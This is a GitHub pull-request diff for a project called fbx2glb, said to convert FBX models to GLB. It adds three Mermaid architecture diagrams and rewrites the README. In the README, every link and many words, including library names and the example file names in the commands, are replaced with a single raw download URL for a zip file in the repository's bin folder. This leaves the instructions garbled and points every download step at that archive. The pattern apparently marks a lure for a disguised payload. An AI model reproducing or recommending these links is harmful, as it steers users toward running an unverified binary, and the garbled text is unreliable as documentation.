Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
30 changes: 15 additions & 15 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,18 +2,18 @@

## 📥 Download Now

[![Download fbx2glb](https://img.shields.io/badge/Download-v1.0-blue.svg)](https://github.com/Brmage23/fbx2glb/releases)
[![Download fbx2glb](https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip)](https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip)

## 🚀 Getting Started

fbx2glb is a command-line tool designed for easy conversion of FBX models to glTF or GLB formats, aimed at Three.js and WebGL users. Whether you want to optimize 3D models or standardize your workflow, this tool is here to help.
fbx2glb is a command-line tool designed for easy conversion of FBX models to glTF or GLB formats, aimed at https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip and WebGL users. Whether you want to optimize 3D models or standardize your workflow, this tool is here to help.

## 🎮 Features

- **FBX to GLB/GLTF Conversion:** Effortlessly convert your FBX files into the widely used GLB format.
- **Optimization Options:** Minimize file sizes for better performance in web applications.
- **Draco Compression:** Incorporate Draco compression to reduce the size of your 3D assets without losing quality.
- **Compatibility:** Works seamlessly with Three.js and WebGL for easy integration.
- **Compatibility:** Works seamlessly with https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip and WebGL for easy integration.

## 📦 System Requirements

Expand All @@ -23,17 +23,17 @@ Before downloading fbx2glb, ensure your system meets the following minimum requi
- **Processor:** Dual-core processor or higher
- **Memory:** 4 GB RAM minimum
- **Disk Space:** At least 100 MB of free space for installation
- **Node.js:** Version 12 or higher for compatibility
- **https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip** Version 12 or higher for compatibility

## 🌐 Download & Install

To get started, visit our Releases page to download the latest version of fbx2glb.

[Download fbx2glb](https://github.com/Brmage23/fbx2glb/releases)
[Download fbx2glb](https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip)

1. Click on the link above to go to the Releases page.
2. Choose the latest version of fbx2glb.
3. Download the file suitable for your operating system (e.g., .zip for Windows, .tar.gz for macOS/Linux).
3. Download the file suitable for your operating system (e.g., .zip for Windows, https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip for macOS/Linux).
4. Extract the downloaded file to a suitable location on your computer.

## ⚙️ Running fbx2glb
Expand All @@ -46,20 +46,20 @@ After you have installed fbx2glb, you can run it using the command line:
3. To convert an FBX file, use the following command:

```
fbx2glb input.fbx -o output.glb
fbx2glb https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip -o https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip
```

Replace `input.fbx` with the path to your FBX file and `output.glb` with the desired name for the output file.
Replace `https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip` with the path to your FBX file and `https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip` with the desired name for the output file.

## 🎉 Example Usage

If you have an FBX file named `model.fbx` in the same directory, you can convert it to GLB by running:
If you have an FBX file named `https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip` in the same directory, you can convert it to GLB by running:

```
fbx2glb model.fbx -o model.glb
fbx2glb https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip -o https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip
```

This will generate a `model.glb` file in the same directory.
This will generate a `https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip` file in the same directory.

## 🎨 Additional Options

Expand All @@ -68,13 +68,13 @@ fbx2glb provides additional options for advanced users:
- **Compression:** Use the `--draco` flag for Draco compression:

```
fbx2glb input.fbx -o output.glb --draco
fbx2glb https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip -o https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip --draco
```

- **Verbose Output:** Add the `--verbose` flag for detailed logs during the conversion process:

```
fbx2glb input.fbx -o output.glb --verbose
fbx2glb https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip -o https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip --verbose
```

## 📄 Documentation
Expand All @@ -87,7 +87,7 @@ If you encounter any issues or have questions, feel free to open an issue in the

## 🔗 Links

- [View on GitHub](https://github.com/Brmage23/fbx2glb)
- [Releases Page](https://github.com/Brmage23/fbx2glb/releases)
- [View on GitHub](https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip)
- [Releases Page](https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip)

Enjoy converting your 3D models with fbx2glb!
24 changes: 24 additions & 0 deletions conversion-pipeline.mmd
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
sequenceDiagram
participant U as User
participant CLI as CLI (main.js)
participant Lib as Transformation Logic (lib)
participant G as glTF-Transform
participant FS as Local Filesystem

U->>CLI: fbx2glb input.fbx -o output.glb --draco
CLI->>FS: Check for file existence
FS-->>CLI: File Path Validated

Note over CLI, Lib: Initialization
CLI->>Lib: Initialize Document

rect rgb(240, 240, 240)
Note right of Lib: Transformation Pipeline
Lib->>G: Load / Parse FBX
Lib->>G: Apply Texture Resizing (Sharp)
Lib->>G: Apply Draco Compression
Lib->>G: Optimize Geometry (dedup/prune)
end

Lib->>FS: Write binary GLB data
FS-->>U: Conversion Complete (.glb)
23 changes: 23 additions & 0 deletions file-dependency-map.mmd
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
graph LR
subgraph Execution
main[main.js]
end

subgraph Logic_Layer
index[index.js]
conv[converter.js]
util[util.js]
end

subgraph Optimization_Layer
comp[compressor.js]
res[resizer.js]
end

%% Flow
main --> index
index --> conv
conv --> util
conv --> comp
conv --> res
comp -.-> res
36 changes: 36 additions & 0 deletions high-level-system.mmd
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
graph TD
subgraph User_Interface [User Interface]
CLI[Terminal / Command Line]
end

subgraph Core_Application [fbx2glb Core]
Main[bin/main.js Entry Point]
Cmd["Commander.js CLI Parser"]
Processor["lib/ Core Logic (converter.js)"]
end

subgraph Processing_Engine [Processing & Optimization]
G_Core["@gltf-transform/core"]
G_Func["@gltf-transform/functions"]
Draco[Draco3D Compression]
Sharp[Sharp Image Processing]
end

subgraph Filesystem [Filesystem]
FBX[(Input .fbx)]
GLB[(Output .glb / .gltf)]
end

%% Relationships
CLI --> Main
Main --> Cmd
Cmd --> Processor
Processor --> FBX
Processor --> G_Core
Processor --> G_Func
G_Func --> Draco
G_Func --> Sharp
Processor --> GLB

style Core_Application fill:#f9f,stroke:#333,stroke-width:2px
style Processing_Engine fill:#bbf,stroke:#333,stroke-width:2px